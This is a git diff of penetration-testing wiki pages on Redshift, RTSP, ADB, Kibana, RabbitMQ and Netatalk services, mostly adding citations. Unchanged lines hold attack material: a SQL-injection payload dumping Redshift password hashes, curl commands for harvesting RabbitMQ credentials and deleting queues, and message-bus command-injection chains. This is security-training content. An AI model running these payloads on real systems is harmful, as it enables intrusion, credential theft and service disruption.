mDNSResponder CVE-2025-31222](https://www.rapid7.com/db/vulnerabilities/apple-osx-mdnsresponder-cve-2025-31222/) +- [1] [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical_IoT_Hacking.html?id=GbYEEAAAQBAJ&redir_esc=y) +- [2] [Nmap NSE: broadcast-dns-service-discovery](https://nmap.org/nsedoc/scripts/broadcast-dns-service-discovery.html) +- [3] [bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)](https://www.bettercap.org/modules/ethernet/zerogod/) +- [4] [Cisco IOS XE WLC mDNS gateway DoS (CVE-2024-20303) advisory](https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-wlc-mdns-dos-4hv6pBGf.html) +- [5] [Rapid7 advisory for Apple mDNSResponder CVE-2024-44183](https://www.rapid7.com/db/vulnerabilities/apple-mdnsresponder-cve-2024-44183/) +- [6] [Rapid7 writeup of Apple mDNSResponder CVE-2025-31222](https://www.rapid7.com/db/vulnerabilities/apple-osx-mdnsresponder-cve-2025-31222/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/5439-pentesting-redshift.md b/src/network-services-pentesting/5439-pentesting-redshift.md index f5d9e3dbe79..1b832319549 100644 --- a/src/network-services-pentesting/5439-pentesting-redshift.md +++ b/src/network-services-pentesting/5439-pentesting-redshift.md @@ -21,7 +21,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws- psql "host= port=5439 user=awsuser dbname=dev sslmode=require" # or using redshift-psql wrapper ``` -- **Parameter group `require_ssl`** controls if plaintext is allowed. New clusters/workgroups use `default.redshift-2.0` with `require_ssl=true`, so downgrade/mitm is harder. +- **Parameter group `require_ssl`** controls if plaintext is allowed. New clusters/workgroups use `default.redshift-2.0` with `require_ssl=true`, so downgrade/mitm is harder.[[2]](#references) ### Quick enum with psql @@ -39,7 +39,7 @@ Errors differentiate bad password vs missing user → potential **username enume ## Authentication paths to test - **Database password** for master user (often named `awsuser`) or created DB users. -- **IAM auth tokens**: generate short-lived credentials and connect via libpq/JDBC/ODBC using `sslmode=require` and `authMech=IAM` or `plugin_name=com.amazon.redshift.plugin.OktaCredentialsProvider`. Abuse stolen IAM creds/roles with `rds-db:connect` style permission equivalent for Redshift. +- **IAM auth tokens**: generate short-lived credentials and connect via libpq/JDBC/ODBC using `sslmode=require` and `authMech=IAM` or `plugin_name=com.amazon.redshift.plugin.OktaCredentialsProvider`. Abuse stolen IAM creds/roles with `rds-db:connect` style permission equivalent for Redshift.[[1]](#references) ```bash aws redshift get-cluster-credentials --cluster-identifier \ --db-user pentest --db-name dev --duration-seconds 900 @@ -58,7 +58,7 @@ Errors differentiate bad password vs missing user → potential **username enume - If login succeeds, Redshift lacks superuser in serverless; in provisioned clusters the master user has broad rights including creating UDFs (Python), external schema to Spectrum, COPY from attacker S3, and `UNLOAD` to exfil data. - Check cluster parameter group for `max_concurrency_scaling_clusters`, `require_ssl`, `enable_user_activity_logging` – logging disabled aids stealth. - Serverless workgroups still reachable via TCP; same SQL attack surface as provisioned clusters. -- **Client-side metadata SQLi (Dec 2024)**: JDBC 2.1.0.31, Python connector 2.1.4 and ODBC 2.1.5.0 build metadata queries with unquoted user input in `getSchemas/getTables/getColumns` (CVE-2024-12744/5/6). If an app lets attackers control catalog or pattern arguments, you can inject arbitrary SQL that runs with the DB user used by the connector. +- **Client-side metadata SQLi (Dec 2024)**: JDBC 2.1.0.31, Python connector 2.1.4 and ODBC 2.1.5.0 build metadata queries with unquoted user input in `getSchemas/getTables/getColumns` (CVE-2024-12744/5/6). If an app lets attackers control catalog or pattern arguments, you can inject arbitrary SQL that runs with the DB user used by the connector.[[3]](#references) ```python # exploit vulnerable python connector 2.1.4 via metadata API import redshift_connector @@ -67,17 +67,19 @@ Errors differentiate bad password vs missing user → potential **username enume # injection in table_pattern leaks data from pg_tables cur.get_tables(table_schema='public', table_name_pattern="%' UNION SELECT usename,passwd FROM pg_user--") ``` -- **UDF execution model change**: Python UDFs stop working June 30, 2026; only Lambda UDFs allowed after. Offensive impact: legacy provisioned clusters still run Python UDFs for in-cluster code exec (no FS/network). Lambda UDFs move code to Lambda where the IAM role may reach Internet/VPC endpoints for SSRF/pivot but with no direct cluster filesystem access. Hunting old clusters with Python UDFs enabled can still yield RCE primitives. +- **UDF execution model change**: Python UDFs stop working June 30, 2026; only Lambda UDFs allowed after. Offensive impact: legacy provisioned clusters still run Python UDFs for in-cluster code exec (no FS/network). Lambda UDFs move code to Lambda where the IAM role may reach Internet/VPC endpoints for SSRF/pivot but with no direct cluster filesystem access. Hunting old clusters with Python UDFs enabled can still yield RCE primitives.[[4]](#references) ## Recent security changes (offense impact) -- **Public access disabled by default** on new clusters/snapshots (Jan 10, 2025 change). Legacy ones may still be public. +- **Public access disabled by default** on new clusters/snapshots (Jan 10, 2025 change). Legacy ones may still be public.[[2]](#references) - **Encryption at rest + enforced TLS by default** means sniffing/mitm harder; need valid credentials or SSRF into VPC path. - **Serverless VPCE rollout change (Jun 27, 2025)**: workgroup endpoints created in up to 3 AZs at creation time. Discovery tools should enumerate all workgroup VPCE DNS names per AZ to find reachable IPs. ## References -- [AWS Security Bulletin – SQLi in Redshift JDBC/Python/ODBC drivers (CVE-2024-12744/5/6)](https://aws.amazon.com/security/security-bulletins/AWS-2024-015/) -- [AWS Big Data Blog – Python UDF end-of-support and migration to Lambda UDFs (Jan 2026)](https://aws.amazon.com/blogs/big-data/amazon-redshift-python-user-defined-functions-will-reach-end-of-support-after-june-30-2026/) +- [1] [AWS Docs – Options for providing IAM credentials (JDBC/ODBC IAM/SAML plugins)](https://docs.aws.amazon.com/redshift/latest/mgmt/options-for-providing-iam-credentials.html) +- [2] [AWS Security Blog – Redshift enhances security by changing default behavior (public access off, require SSL, encryption) – 2025](https://aws.amazon.com/blogs/security/amazon-redshift-enhances-security-by-changing-default-behavior-in-2025/) +- [3] [AWS Security Bulletin – SQLi in Redshift JDBC/Python/ODBC drivers (CVE-2024-12744/5/6)](https://aws.amazon.com/security/security-bulletins/AWS-2024-015/) +- [4] [AWS Big Data Blog – Python UDF end-of-support and migration to Lambda UDFs (Jan 2026)](https://aws.amazon.com/blogs/big-data/amazon-redshift-python-user-defined-functions-will-reach-end-of-support-after-june-30-2026/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/554-8554-pentesting-rtsp.md b/src/network-services-pentesting/554-8554-pentesting-rtsp.md index 1acddf29006..7a9aa354792 100644 --- a/src/network-services-pentesting/554-8554-pentesting-rtsp.md +++ b/src/network-services-pentesting/554-8554-pentesting-rtsp.md @@ -4,12 +4,14 @@ ## Basic Information -From [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol): +From [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):[[1]](#references) > The **Real Time Streaming Protocol** (**RTSP**) is a network control protocol designed for use in entertainment and communications systems to control streaming media servers. The protocol is used for establishing and controlling media sessions between end points. Clients of media servers issue VHS-style commands, such as play, record and pause, to facilitate real-time control of the media streaming from the server to a client (Video On Demand) or from a client to the server (Voice Recording). > > The transmission of streaming data itself is not a task of RTSP. Most RTSP servers use the Real-time Transport Protocol (RTP) in conjunction with Real-time Control Protocol (RTCP) for media stream delivery. However, some vendors implement proprietary transport protocols. The RTSP server software from RealNetworks, for example, also used RealNetworks' proprietary Real Data Transport (RDT). +[[1]](#references) + **Default ports:** 554,8554 ``` @@ -47,7 +49,7 @@ print(data) **Basic authentication** is simpler and preferred. **Digest authentication** requires careful handling of the authentication details provided in the "401 Unauthorized" response. -This overview simplifies the process of accessing RTSP streams, focusing on **Basic authentication** for its simplicity and practicality in initial attempts. +This overview simplifies the process of accessing RTSP streams, focusing on **Basic authentication** for its simplicity and practicality in initial attempts.[[2]](#references) ## Enumeration @@ -72,7 +74,7 @@ ffplay -rtsp_transport tcp rtsp:///mpeg4 -x 2560 -y 1440 To bruteforce: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder) -[**Cameradar**](https://github.com/Ullaakut/cameradar) +[**Cameradar**](https://github.com/Ullaakut/cameradar)[[3]](#references) - Detect open RTSP hosts on any accessible target - Get their public info (hostname, port, camera model, etc.) @@ -90,11 +92,8 @@ To bruteforce: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https:// ## References -- [https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol) -- [http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/) -- [https://github.com/Ullaakut/cameradar](https://github.com/Ullaakut/cameradar) +- [1] [Real Time Streaming Protocol - Wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol) +- [2] [RTSP Brute Forcing for Fun and Naked Pictures - badguyfu.net](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/) +- [3] [Cameradar - RTSP surveillance camera access tool - GitHub](https://github.com/Ullaakut/cameradar) {{#include ../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/5555-android-debug-bridge.md b/src/network-services-pentesting/5555-android-debug-bridge.md index 89dcb61be25..fd47498d5c3 100644 --- a/src/network-services-pentesting/5555-android-debug-bridge.md +++ b/src/network-services-pentesting/5555-android-debug-bridge.md @@ -4,12 +4,12 @@ ## Basic Information -From [the docs](https://developer.android.com/studio/command-line/adb): +From [the docs](https://developer.android.com/studio/command-line/adb):[[1]](#references) -Android Debug Bridge (adb) is a command-line tool to communicate with Android-based devices and emulators. Typical actions include installing packages, debugging, and getting an interactive Unix shell on the device. +Android Debug Bridge (adb) is a command-line tool to communicate with Android-based devices and emulators. Typical actions include installing packages, debugging, and getting an interactive Unix shell on the device.[[1]](#references) - Historical default TCP port: 5555 (classic "adb tcpip" mode). -- Modern Wireless debugging (Android 11+) uses TLS pairing and mDNS service discovery. The connect port is dynamic and discovered via mDNS; it may not be 5555. Pairing is done with adb pair host:port followed by adb connect. See the notes below for offensive implications. +- Modern Wireless debugging (Android 11+) uses TLS pairing and mDNS service discovery. The connect port is dynamic and discovered via mDNS; it may not be 5555. Pairing is done with adb pair host:port followed by adb connect. See the notes below for offensive implications.[[2]](#references) Example nmap fingerprint: @@ -109,7 +109,7 @@ Even without root, adb can forward local ports to device ports and vice versa. T ## Wireless Debugging (Android 11+) -Modern Android implements TLS-protected wireless debugging with device-side pairing and mDNS discovery: +Modern Android implements TLS-protected wireless debugging with device-side pairing and mDNS discovery:[[2]](#references) ```bash # On the device: Developer options -> Wireless debugging -> Pair device with pairing code @@ -152,6 +152,7 @@ Defenders should assume any reachable adbd (TCP) is critical risk. ## References -- Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb -- AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md +- [1] [Android Developers – Android Debug Bridge (adb)](https://developer.android.com/studio/command-line/adb) +- [2] [AOSP – ADB over Wi‑Fi, pairing and mDNS service names](https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/5601-pentesting-kibana.md b/src/network-services-pentesting/5601-pentesting-kibana.md index b5936541489..c6c7b1732fc 100644 --- a/src/network-services-pentesting/5601-pentesting-kibana.md +++ b/src/network-services-pentesting/5601-pentesting-kibana.md @@ -8,15 +8,15 @@ Kibana is known for its ability to search and visualize data within Elasticsearc ### Understanding Authentication -The process of authentication in Kibana is inherently linked to the **credentials used in Elasticsearch**. If Elasticsearch has authentication disabled, Kibana can be accessed without any credentials. Conversely, if Elasticsearch is secured with credentials, the same credentials are required to access Kibana, maintaining identical user permissions across both platforms. Credentials might be found in the **/etc/kibana/kibana.yml** file. If these credentials do not pertain to the **kibana_system** user, they may offer broader access rights, as the kibana_system user's access is restricted to monitoring APIs and the .kibana index. +The process of authentication in Kibana is inherently linked to the **credentials used in Elasticsearch**. If Elasticsearch has authentication disabled, Kibana can be accessed without any credentials. Conversely, if Elasticsearch is secured with credentials, the same credentials are required to access Kibana, maintaining identical user permissions across both platforms. Credentials might be found in the **/etc/kibana/kibana.yml** file. If these credentials do not pertain to the **kibana_system** user, they may offer broader access rights, as the kibana_system user's access is restricted to monitoring APIs and the .kibana index.[[1]](#references) ### Actions Upon Access -Once access to Kibana is secured, several actions are advisable: +Once access to Kibana is secured, several actions are advisable:[[1]](#references) - Exploring data from Elasticsearch should be a priority. - The ability to manage users, including the editing, deletion, or creation of new users, roles, or API keys, is found under Stack Management -> Users/Roles/API Keys. -- It's important to check the installed version of Kibana for known vulnerabilities, such as the RCE vulnerability identified in versions prior to 6.6.0 ([More Info](https://insinuator.net/2021/01/pentesting-the-elk-stack/index.html#ref2)). +- It's important to check the installed version of Kibana for known vulnerabilities, such as the RCE vulnerability identified in versions prior to 6.6.0 ([More Info](https://insinuator.net/2021/01/pentesting-the-elk-stack/index.html#ref2)).[[2]](#references) ### SSL/TLS Considerations @@ -24,9 +24,7 @@ In instances where SSL/TLS is not enabled, the potential for leaking sensitive i ## References -- [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/) +- [1] [Pentesting the ELK Stack - insinuator.net](https://insinuator.net/2021/01/pentesting-the-elk-stack/) +- [2] [insinuator.net - Pentesting The Elk Stack - Index: Ref2](https://insinuator.net/2021/01/pentesting-the-elk-stack/index.html#ref2) {{#include ../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/5671-5672-pentesting-amqp.md b/src/network-services-pentesting/5671-5672-pentesting-amqp.md index 86fd2fb7500..15d04993564 100644 --- a/src/network-services-pentesting/5671-5672-pentesting-amqp.md +++ b/src/network-services-pentesting/5671-5672-pentesting-amqp.md @@ -4,11 +4,11 @@ ## Basic Information -From [cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html): +From [cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html):[[1]](#references) > **RabbitMQ** is a **message-queueing software** also known as a _message broker_ or _queue manager._ Simply said; it is software where queues are defined, to which applications connect in order to transfer a message or messages.\ > A **message can include any kind of information**. It could, for example, have information about a process or task that should start on another application (which could even be on another server), or it could be just a simple text message. The queue-manager software stores the messages until a receiving application connects and takes a message off the queue. The receiving application then processes the message.\ -> Definition from . +> Definition from .[[1]](#references) **Default port**: 5672,5671 @@ -18,7 +18,7 @@ PORT STATE SERVICE VERSION ``` - **Default credentials**: `guest:guest`. RabbitMQ restricts them to localhost through `loopback_users`, but many Docker/IoT images disable that check, so always test remote login before assuming it is blocked. -- **Authentication mechanisms**: PLAIN and AMQPLAIN are enabled by default, ANONYMOUS is mapped to `anonymous_login_user`/`anonymous_login_pass`, and EXTERNAL (x509) can be exposed when TLS is enabled. Enumerate what the broker advertises so you know whether to try password spraying or certificate impersonation later. +- **Authentication mechanisms**: PLAIN and AMQPLAIN are enabled by default, ANONYMOUS is mapped to `anonymous_login_user`/`anonymous_login_pass`, and EXTERNAL (x509) can be exposed when TLS is enabled. Enumerate what the broker advertises so you know whether to try password spraying or certificate impersonation later.[[3]](#references) - **AMQP 1.0 on the same listener**: RabbitMQ 4.x can expose native AMQP 1.0 on `5672/5671` too. If you find an AMQP 1.0-capable client, bridge, or SSRF primitive, remember that targeting `/queues/` sends directly to an existing queue through the internal `amq.default` exchange, which is handy when you know queue names but cannot declare new topology. ## Enumeration @@ -73,7 +73,7 @@ PORT STATE SERVICE VERSION rabbitmq-diagnostics -q listeners ``` Useful once you get low-priv shell access to the host. -- **Spot ANONYMOUS logins**: if the broker allows the ANONYMOUS SASL mechanism, try connecting with an empty username/password; RabbitMQ will internally map you to the `anonymous_login_user` (defaults to `guest`). +- **Spot ANONYMOUS logins**: if the broker allows the ANONYMOUS SASL mechanism, try connecting with an empty username/password; RabbitMQ will internally map you to the `anonymous_login_user` (defaults to `guest`).[[3]](#references) ### Brute Force @@ -84,7 +84,7 @@ PORT STATE SERVICE VERSION ### Queue deletion without configure perms (CVE-2024-51988) -RabbitMQ ≤ 3.12.10 (and unpatched Tanzu builds) fail to check the `configure` permission when queues are deleted via the HTTP API. Any authenticated user with access to the target vhost can nuke arbitrary queues even if they only have `read` or `write` rights. +RabbitMQ ≤ 3.12.10 (and unpatched Tanzu builds) fail to check the `configure` permission when queues are deleted via the HTTP API. Any authenticated user with access to the target vhost can nuke arbitrary queues even if they only have `read` or `write` rights.[[4]](#references) ```bash # confirm vulnerable version first @@ -97,7 +97,7 @@ Combine this with `rabbitmqadmin list permissions` to find vhosts where your low ### Harvest credentials from RabbitMQ logs (CVE-2025-50200) -Until 4.0.8/4.1.0, hitting the management API with HTTP basic auth on a non-existent resource causes the broker to log the entire `Authorization` header (base64). If you gain limited filesystem access (e.g. Docker escape, plugin RCE), search `/var/log/rabbitmq/rabbit@*.log` for `Authorization:` and recover credentials for other tenants or service accounts. +Until 4.0.8/4.1.0, hitting the management API with HTTP basic auth on a non-existent resource causes the broker to log the entire `Authorization` header (base64). If you gain limited filesystem access (e.g. Docker escape, plugin RCE), search `/var/log/rabbitmq/rabbit@*.log` for `Authorization:` and recover credentials for other tenants or service accounts.[[5]](#references) ```bash curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost @@ -108,7 +108,7 @@ Trigger this intentionally with bogus endpoints to plant fresh secrets in the lo ### Weaponize rabbitmqadmin-ng -`rabbitmqadmin` v2 (aka rabbitmqadmin-ng) is a self-contained CLI that talks to the management API and now ships statically linked builds for Linux/macOS/Windows. Drop it on your bounce box and script: +`rabbitmqadmin` v2 (aka rabbitmqadmin-ng) is a self-contained CLI that talks to the management API and now ships statically linked builds for Linux/macOS/Windows. Drop it on your bounce box and script:[[6]](#references) ```bash # enumerate live channels and prefetch pressure @@ -142,11 +142,11 @@ for method, props, body in ch.consume('loot', inactivity_timeout=5): Swap the routing key for `audit.#` or `payments.*` to focus on sensitive flows, then republish forged messages by flipping `basic_publish` arguments—handy for replay attacks against downstream microservices. -Remember that **topic authorisation is often weaker than defenders expect**: on fresh RabbitMQ installations, if no topic permissions were explicitly defined, publishing to and consuming from topic exchanges is still authorised once the normal resource permissions match. In practice, broad binds such as `#` or `user.#` frequently work for low-priv users that were only intended to access a narrow subset of subjects. +Remember that **topic authorisation is often weaker than defenders expect**: on fresh RabbitMQ installations, if no topic permissions were explicitly defined, publishing to and consuming from topic exchanges is still authorised once the normal resource permissions match. In practice, broad binds such as `#` or `user.#` frequently work for low-priv users that were only intended to access a narrow subset of subjects.[[3]](#references) ### Replay historical traffic from stream queues -If the target uses **stream queues** (`x-queue-type=stream`), treat them like an append-only log instead of a classic destructive queue. RabbitMQ streams retain messages after consumption, and a consumer can attach from the **first** available message, a specific numeric offset, or a timestamp. That means a stolen read-capable account can often recover historical jobs, credentials, tokens, or PII long after the original consumer processed them. +If the target uses **stream queues** (`x-queue-type=stream`), treat them like an append-only log instead of a classic destructive queue. RabbitMQ streams retain messages after consumption, and a consumer can attach from the **first** available message, a specific numeric offset, or a timestamp. That means a stolen read-capable account can often recover historical jobs, credentials, tokens, or PII long after the original consumer processed them.[[7]](#references) ```python import pika @@ -166,7 +166,7 @@ If you see queue type `stream` in the management UI or via `rabbitmqadmin queues ### Subscribe to `amq.rabbitmq.event` for recon -When the `rabbitmq_event_exchange` plugin is enabled, RabbitMQ republishes internal events to the topic exchange `amq.rabbitmq.event`. With read access, you can bind a temporary queue to patterns such as `user.#`, `queue.#`, `binding.#`, or `connection.#` and turn the broker into a live recon feed: failed logins, new queues, deleted bindings, and other administrative activity become visible in near real time. +When the `rabbitmq_event_exchange` plugin is enabled, RabbitMQ republishes internal events to the topic exchange `amq.rabbitmq.event`. With read access, you can bind a temporary queue to patterns such as `user.#`, `queue.#`, `binding.#`, or `connection.#` and turn the broker into a live recon feed: failed logins, new queues, deleted bindings, and other administrative activity become visible in near real time.[[8]](#references) ```python import pika @@ -184,7 +184,7 @@ The message body is blank, so inspect headers/annotations instead. This is a ver ### Consumer-side command injection (message bus -> RCE) -Treat every message broker as a potential **code-delivery primitive** when downstream consumers turn message data into shell commands, SQL, template input, or config updates. The critical anti-pattern is a worker that reads attacker-controlled content from a queue/topic and feeds it into a shell, for example `bash -c "$MESSAGE"`, `sh -c`, `os.system`, `subprocess(..., shell=True)`, `Runtime.exec`, or `Command::new("bash").arg("-c").arg(message)`. +Treat every message broker as a potential **code-delivery primitive** when downstream consumers turn message data into shell commands, SQL, template input, or config updates. The critical anti-pattern is a worker that reads attacker-controlled content from a queue/topic and feeds it into a shell, for example `bash -c "$MESSAGE"`, `sh -c`, `os.system`, `subprocess(..., shell=True)`, `Runtime.exec`, or `Command::new("bash").arg("-c").arg(message)`.[[10]](#references) Typical exploitation chain: @@ -214,11 +214,11 @@ curl -u user:pass -H 'content-type: application/json' \ -d '{"properties":{},"routing_key":"update","payload":"id","payload_encoding":"string"}' ``` -The same pattern appears outside AMQP. In Kafka, once you can reach the broker and craft a valid **Produce** request for the attacker-controlled topic, any consumer that forwards the message body to `bash -c` becomes an RCE sink. If the only reachable primitive is SSRF, check whether it can send **raw TCP bytes** or follow a `gopher://` redirect so you can still speak the broker protocol. +The same pattern appears outside AMQP. In Kafka, once you can reach the broker and craft a valid **Produce** request for the attacker-controlled topic, any consumer that forwards the message body to `bash -c` becomes an RCE sink. If the only reachable primitive is SSRF, check whether it can send **raw TCP bytes** or follow a `gopher://` redirect so you can still speak the broker protocol.[[9]](#references) ## Other RabbitMQ ports -In [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) you can find that **rabbitmq uses several ports**: +In [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) you can find that **rabbitmq uses several ports**:[[2]](#references) - **1883, 8883**: ([MQTT clients](http://mqtt.org) without and with TLS, if the [MQTT plugin](https://www.rabbitmq.com/mqtt.html) is enabled. [**Learn more about how to pentest MQTT here**](1883-pentesting-mqtt-mosquitto.md). - **4369: epmd**, a peer discovery service used by RabbitMQ nodes and CLI tools. [**Learn more about how to pentest this service here**](4369-pentesting-erlang-port-mapper-daemon-epmd.md). @@ -227,8 +227,8 @@ In [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networkin - 15674: STOMP-over-WebSockets clients (only if the [Web STOMP plugin](https://www.rabbitmq.com/web-stomp.html) is enabled) - 15675: MQTT-over-WebSockets clients (only if the [Web MQTT plugin](https://www.rabbitmq.com/web-mqtt.html) is enabled) - 15692: Prometheus metrics (only if the [Prometheus plugin](https://www.rabbitmq.com/prometheus.html) is enabled) -- 25672: used for inter-node and CLI tools communication (Erlang distribution server port) and is allocated from a dynamic range (limited to a single port by default, computed as AMQP port + 20000). Unless external connections on these ports are really necessary (e.g. the cluster uses [federation](https://www.rabbitmq.com/federation.html) or CLI tools are used on machines outside the subnet), these ports should not be publicly exposed. See [networking guide](https://www.rabbitmq.com/networking.html) for details. **Only 9 of these ports opened on the internet**. -- 35672-35682: used by CLI tools (Erlang distribution client ports) for communication with nodes and is allocated from a dynamic range (computed as server distribution port + 10000 through server distribution port + 10010). See [networking guide](https://www.rabbitmq.com/networking.html) for details. +- 25672: used for inter-node and CLI tools communication (Erlang distribution server port) and is allocated from a dynamic range (limited to a single port by default, computed as AMQP port + 20000). Unless external connections on these ports are really necessary (e.g. the cluster uses [federation](https://www.rabbitmq.com/federation.html) or CLI tools are used on machines outside the subnet), these ports should not be publicly exposed. See [networking guide](https://www.rabbitmq.com/networking.html) for details. **Only 9 of these ports opened on the internet**.[[2]](#references) +- 35672-35682: used by CLI tools (Erlang distribution client ports) for communication with nodes and is allocated from a dynamic range (computed as server distribution port + 10000 through server distribution port + 10010). See [networking guide](https://www.rabbitmq.com/networking.html) for details.[[2]](#references) - 61613, 61614: [STOMP clients](https://stomp.github.io/stomp-specification-1.2.html) without and with TLS (only if the [STOMP plugin](https://www.rabbitmq.com/stomp.html) is enabled). Less than 10 devices with this port open and mostly UDP for DHT nodes. ## See also @@ -243,14 +243,15 @@ In [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networkin ## References -- [CloudAMQP – RabbitMQ for beginners](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html) -- [RabbitMQ Networking Guide](https://www.rabbitmq.com/networking.html) -- [RabbitMQ Authentication, Authorisation & Access Control](https://www.rabbitmq.com/docs/access-control) -- [CVE-2024-51988 – RabbitMQ HTTP API queue deletion bug](https://www.cve.news/cve-2024-51988/) -- [GHSA-gh3x-4x42-fvq8 – RabbitMQ logs Authorization header](https://github.com/rabbitmq/rabbitmq-server/security/advisories/GHSA-gh3x-4x42-fvq8) -- [rabbitmqadmin v2 (rabbitmqadmin-ng)](https://github.com/rabbitmq/rabbitmqadmin-ng) -- [RabbitMQ Streams and Superstreams](https://www.rabbitmq.com/docs/streams) -- [RabbitMQ Event Exchange Plugin](https://www.rabbitmq.com/docs/event-exchange) -- [Apache Kafka Protocol Guide](https://kafka.apache.org/41/design/protocol/) -- [HTB: Sorcery](https://0xdf.gitlab.io/2026/04/25/htb-sorcery.html) +- [1] [CloudAMQP – RabbitMQ for beginners](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html) +- [2] [RabbitMQ Networking Guide](https://www.rabbitmq.com/networking.html) +- [3] [RabbitMQ Authentication, Authorisation & Access Control](https://www.rabbitmq.com/docs/access-control) +- [4] [CVE-2024-51988 – RabbitMQ HTTP API queue deletion bug](https://www.cve.news/cve-2024-51988/) +- [5] [GHSA-gh3x-4x42-fvq8 – RabbitMQ logs Authorization header](https://github.com/rabbitmq/rabbitmq-server/security/advisories/GHSA-gh3x-4x42-fvq8) +- [6] [rabbitmqadmin v2 (rabbitmqadmin-ng)](https://github.com/rabbitmq/rabbitmqadmin-ng) +- [7] [RabbitMQ Streams and Superstreams](https://www.rabbitmq.com/docs/streams) +- [8] [RabbitMQ Event Exchange Plugin](https://www.rabbitmq.com/docs/event-exchange) +- [9] [Apache Kafka Protocol Guide](https://kafka.apache.org/41/design/protocol/) +- [10] [HTB: Sorcery](https://0xdf.gitlab.io/2026/04/25/htb-sorcery.html) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/584-pentesting-afp.md b/src/network-services-pentesting/584-pentesting-afp.md index 7808b2d22de..1e2862d4bbc 100644 --- a/src/network-services-pentesting/584-pentesting-afp.md +++ b/src/network-services-pentesting/584-pentesting-afp.md @@ -88,7 +88,7 @@ On Netatalk targets this metadata backend also matters for exploitability: * `ea = ad` means metadata is stored in **AppleDouble v2** files / `.AppleDouble` directories. * `ea = sys` or `ea = samba` stores metadata in filesystem extended attributes instead. -* In **Netatalk 4.2+** the old `appledouble` option was removed and the backend is controlled solely through the `ea` option. +* In **Netatalk 4.2+** the old `appledouble` option was removed and the backend is controlled solely through the `ea` option.[[4]](#references) From an offensive perspective, this lets you quickly decide whether **AppleDouble-oriented bugs** are more likely to be reachable on the server. @@ -98,7 +98,7 @@ From an offensive perspective, this lets you quickly decide whether **AppleDoubl ### Netatalk unauthenticated RCE chain (2022) -Several NAS vendors shipped **Netatalk ≤3.1.12**. A lack of bounds checking in `parse_entries()` allows an attacker to craft a malicious **AppleDouble** header and obtain **remote root** before authentication (**CVSS 9.8 – CVE-2022-23121**). A full write-up by NCC Group with PoC exploiting Western-Digital PR4100 is available. +Several NAS vendors shipped **Netatalk ≤3.1.12**. A lack of bounds checking in `parse_entries()` allows an attacker to craft a malicious **AppleDouble** header and obtain **remote root** before authentication (**CVSS 9.8 – CVE-2022-23121**). A full write-up by NCC Group with PoC exploiting Western-Digital PR4100 is available.[[1]](#references) Metasploit (>= 6.3) ships the module `exploit/linux/netatalk/parse_entries` which delivers the payload via DSI `WRITE`. @@ -114,11 +114,11 @@ If the target runs an affected QNAP/Synology firmware, successful exploitation y ### Netatalk OpenSession heap overflow (2018) -Older Netatalk (3.0.0 - 3.1.11) is vulnerable to an out-of-bounds write in the **DSI OpenSession** handler allowing unauthenticated code execution (**CVE-2018-1160**). A detailed analysis and PoC were published by Tenable Research. +Older Netatalk (3.0.0 - 3.1.11) is vulnerable to an out-of-bounds write in the **DSI OpenSession** handler allowing unauthenticated code execution (**CVE-2018-1160**). A detailed analysis and PoC were published by Tenable Research.[[2]](#references) ### Newer Netatalk attack surface (2022-2024) -Recent Netatalk advisories show that the attack surface is no longer limited to `parse_entries()` and OpenSession handling: +Recent Netatalk advisories show that the attack surface is no longer limited to `parse_entries()` and OpenSession handling:[[3]](#references) * **CVE-2022-45188**: a specially crafted `.appl` file can trigger a heap overflow in `afp_getappl`; this is especially relevant if you can **write files into a share** and the server runs FCE / notify features. * **CVE-2023-42464**: a **type confusion** bug in the **Spotlight RPC** handlers can become reachable when `spotlight = yes` is enabled in `afp.conf` (disabled by default). @@ -133,7 +133,7 @@ This means the output of `afp-serverinfo` is not just fingerprinting data; it he * **CVE-2022-22995** – Symlink redirection leading to arbitrary file write / RCE when AppleDouble v2 is enabled (3.1.0 - 3.1.17). * **CVE-2010-0533** – Directory traversal in Apple Mac OS X 10.6 AFP (detected by `afp-path-vuln.nse`). -* Multiple memory-safety bugs were fixed again during the **2024 Netatalk releases**; if you identify `Netatalk` in `afp-serverinfo`, spend a minute correlating the exposed UAMs / Spotlight / metadata backend with the server version before assuming only the 2018/2022 bugs matter. 